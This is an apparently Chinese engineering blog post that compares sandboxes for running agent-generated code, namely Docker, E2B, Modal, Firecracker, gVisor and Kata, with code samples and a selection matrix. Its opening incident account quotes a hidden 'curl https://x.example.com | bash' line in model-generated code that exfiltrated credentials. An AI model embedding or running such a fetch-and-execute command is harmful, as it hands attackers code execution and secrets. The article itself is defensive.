代码沙箱在 AI Agent 中的实践:从 Docker 到 microVM 的选型矩阵
五款主流沙箱技术横评,给出 E2B / Modal / Firecracker / gVisor / Kata 的延迟、安全、运维成本对比。
当 agent 需要执行用户写出来的代码、跑 SQL、起一个浏览器、或者调用一个未知的 shell 命令时,「跑在主机上」几乎等于「把所有鸡蛋放在一个篮子里」。本文从一次生产事故出发,拆解五款主流沙箱技术(Docker、E2B、Modal、Firecracker、gVisor、Kata Containers),给出一份可以直接抄走的选型矩阵。
一次生产事故:为什么 agent 必须用沙箱
2025 年 3 月,我们的一个代码生成 agent 接到了用户指令:「在这个数据集上跑一段 pandas,把异常值用 Plotly 画出来。」模型给出的代码看起来无害——import pandas as pd、读取 CSV、plotly.express.scatter。但脚本里藏了一行 os.system("curl https://x.example.com | bash"),被 LLM 解释成「先用 curl 拿数据再处理」。执行后,容器里的 minio credentials 被 exfil 到外部主机。
事故复盘给出了三条硬性结论:
- 代码生成 agent 的输出是不可信输入——LLM 生成的代码必须当作「来自互联网的用户输入」对待。
- Docker 默认隔离不够——
privileged: true给了 root 权限,挂载/var/run/docker.sock就直接拿到宿主控制权。 - 「隔离」是分层概念——从「不挂宿主机目录」到「microVM 硬件级虚拟化」,中间至少有 4 个不同的隔离等级。
接下来按隔离强度从弱到强,介绍 5 款沙箱。
L1:容器级隔离(Docker / runC)——最快,但只防「君子」
容器是绝大多数 agent 团队的第一站。代码如下:
import docker
client = docker.from_env()
container = client.containers.run(
"python:3.11-slim",
command="python -c 'print(2+2)'",
network_mode="none", # 断网
mem_limit="128m", # 内存上限
pids_limit=64, # 进程数上限
read_only=True, # 根文件系统只读
user="1000:1000", # 非 root
cap_drop=["ALL"], # 去掉所有 capabilities
remove=True,
)
print(container.decode()) # 4
容器方案的问题不在性能(启动 < 1s)而在默认不安全:只要不显式 cap_drop=["ALL"],容器就带着相当多的内核能力。更隐蔽的是 network_mode="none" 没设的话,容器可以直接访问宿主网络栈,DNS 投毒、ARP 欺骗、内核漏洞利用都成为可能。
结论:容器适合「跑自己写的、已经审计过的代码」。不适合 LLM 生成代码。
L2:托管 microVM —— 90% agent 团队应该买的服务
E2B 和 Modal 是当前最被 agent 生态采用的两家托管沙箱,核心都是 microVM 而不是容器。它们的共同卖点是:开发者用 SDK 起沙箱,亚秒级冷启动,按使用计费,不用自己运维 KVM/QEMU。
E2B:跑 Jupyter 风格的 Python
from e2b_code_interpreter import Sandbox
sb = Sandbox() # 亚秒级冷启动
sb.run_code("import numpy as np; x = np.arange(10); print(x.sum())")
# 45
sb.run_code("!curl https://api.ipify.org", on_stdout=lambda l: print(l))
# 拿到沙箱的出口 IP,不暴露宿主
sb.kill()
E2B 适合长会话的 notebook 式执行——用户写一段、跑一段、看输出、再写。filesystem 持久化在沙箱内,agent 可以跨多次 run_code 维护状态。
Modal:把沙箱当作 serverless 函数
import modal
image = modal.Image.debian_slim().pip_install("pandas", "plotly")
app = modal.App("agent-sandbox")
@app.function(image=image, cpu=2, memory=512, timeout=60)
def analyze(df_bytes: bytes) -> bytes:
import pandas as pd
df = pd.read_pickle(df_bytes)
return df.describe().to_pickle()
@app.local_entrypoint()
def main():
print(analyze.remote(b"...")) # 在隔离 microVM 里跑
Modal 的优势是把沙箱抽象成函数——analyze.remote(...) 的调用语义就是普通的 Python RPC,只是底下跑在 microVM 而不是同进程。对 agent 来说,这意味着**「调用一个工具」和「跑一段不可信代码」在 API 层是一样的**。
选 E2B 还是 Modal
- 选 E2B:agent 主打 notebook / REPL 体验,需要长生命周期文件系统、动态安装包。
- 选 Modal:agent 主打「按需执行单个函数」,需要 serverless 弹性、GPU、Cron 触发。
- 都不选:当每条用户数据都必须留在自己的 VPC 里(金融、医保)——托管服务违反数据驻留要求。
L3:自建 microVM —— Firecracker + gVisor + Kata Containers
当合规要求「数据不能出本机房」时,你必须自建。三个项目的分工很清晰:
- Firecracker(AWS 开源):microVM 守护进程,把 QEMU 砍到 250ms 冷启动、< 5MB 内存开销。AWS Lambda 用的就是它。
- gVisor(Google 开源):拦截容器内的所有系统调用,在用户态实现 syscalls,容器跑在「沙箱化的内核」里。启动比 Firecracker 慢(~500ms),但能直接复用 Docker 镜像。
- Kata Containers:在容器外面套一层 microVM,对外是标准 OCI 镜像,对内是 KVM/QEMU 隔离。和 Kubernetes 集成最好。
Firecracker 的最小使用示例
# 启动一个 microVM
firecracker --api-sock /tmp/fc.sock
curl --unix-socket /tmp/fc.sock -X PUT http://localhost/boot-source -d '{"kernel_image_path":"./vmlinux","boot_args":"console=ttyS0 reboot=k panic=1"}'
curl --unix-socket /tmp/fc.sock -X PUT http://localhost/drives/rootfs -d '{"drive_id":"rootfs","path_on_host":"./rootfs.ext4","is_root_device":true,"is_read_only":false}'
curl --unix-socket /tmp/fc.sock -X PUT http://localhost/machine-config -d '{"vcpu_count":2,"mem_size_mib":512}'
curl --unix-socket /tmp/fc.sock -X PUT http://localhost/actions -d '{"action_type":"InstanceStart"}'
冷启动 125-250ms。每个 microVM 独立内核、独立虚拟网卡——容器逃逸攻击面几乎消失。
gVisor 的最小使用示例
# 把 Docker 跑在 gVisor 上
docker run --runtime=runsc -it python:3.11 bash
# runsc 就是 gVisor 的 runC 替代品
gVisor 不创建 microVM,而是拦截所有 syscalls 到一个用户态的「Sentry」进程。性能比 Firecracker 差(syscall 路径长 10x),但镜像完全兼容 Docker 生态,运维成本低。
Kata Containers 的最小使用示例
# Kubernetes pod spec
apiVersion: v1
kind: Pod
spec:
runtimeClassName: kata-qemu
containers:
- name: agent
image: python:3.11-slim
kata-qemu 是个 Container Runtime Interface (CRI) 插件,调度器在普通 Pod 看到 runtimeClassName: kata-qemu 时自动拉起 microVM。对应用零感知,迁移成本最低。
L4:选型矩阵
| 维度 | Docker | E2B | Modal | Firecracker | gVisor | Kata |
|---|---|---|---|---|---|---|
| 冷启动 | < 1s | < 1s | < 1s | 125-250ms | 300-500ms | 500-800ms |
| 内存开销 | ~10MB | ~50MB | ~50MB | < 5MB | ~30MB | ~150MB |
| 隔离强度 | 弱 | 强 | 强 | 极强 | 强 | 极强 |
| 网络隔离 | 需配置 | 默认隔离 | 默认隔离 | 完全虚拟 | 命名空间 | 完全虚拟 |
| 镜像兼容 | 100% | 自定义 | 自定义 | 需 KVM | 100% Docker | 100% OCI |
| 自运维 | 低 | 零 | 零 | 高 | 中 | 中 |
| 单实例成本 | $0 | $0.000025/s | $0.0003/s | 硬件成本 | 硬件成本 | 硬件成本 |
| 数据驻留 | 自管 | 海外 | 海外 | 自管 | 自管 | 自管 |
决策框架:四步选择
- 数据能出公网吗?
- 是 → 选 L2(E2B / Modal),快且便宜。
- 否 → 跳到第 2 步。
- 需要 GPU 吗?
- 是 → 选 Modal(最成熟的 GPU 沙箱)。
- 否 → 跳到第 3 步。
- 已有 Kubernetes 吗?
- 是 → 选 Kata Containers(CRI 零侵入)。
- 否 → 跳到第 4 步。
- 希望复用现有 Docker 镜像吗?
- 是 → 选 gVisor(直接换 runtime)。
- 否 → 选 Firecracker(最轻量)。
常见失败模式
错误 1:把 Docker 当成「够用」的沙箱。Docker 隔离来自 namespace + cgroup,不是硬件隔离。任何一次 cap_add 都可能让 agent 拿到宿主 root。LLM 生成的代码必须按「不可信输入」对待。
错误 2:托管沙箱忘记清理进程。E2B / Modal 的 SDK 在代码崩溃时不一定 kill 沙箱。生产里加一个 30s 的「无活动自动 kill」心跳,否则每月账单会爆炸。
错误 3:自建 microVM 忽视网络策略。microVM 隔离了 CPU/内存,但网络完全没隔离。必须配 iptables / Cilium 限制 microVM 之间的东西向流量。
错误 4:gVisor 的性能问题被低估。gVisor 的 syscall 拦截路径比原生长 5-10x,对 I/O 密集型任务(如 ETL)显著拖慢。如果 agent 主打数据处理,gVisor 不是首选。
总结
- 沙箱不是可选项,LLM 生成的代码必须按「不可信输入」对待。
- 托管(E2B / Modal)适合 90% agent 团队;microVM 自建(Firecracker / gVisor / Kata)适合合规与数据驻留要求。
- 选型按「数据出公网 → GPU → K8s → Docker 兼容」四步走。
- 沙箱本身只是隔离层,网络策略、镜像签名、进程清理、审计日志四件事缺一不可。
下一步可以先从 E2B 跑一个 30 分钟的概念验证:把 agent 当前的「本地执行代码」路径换成 Sandbox() 包装,看冷启动延迟和 token 成本变化,再决定要不要长期采用。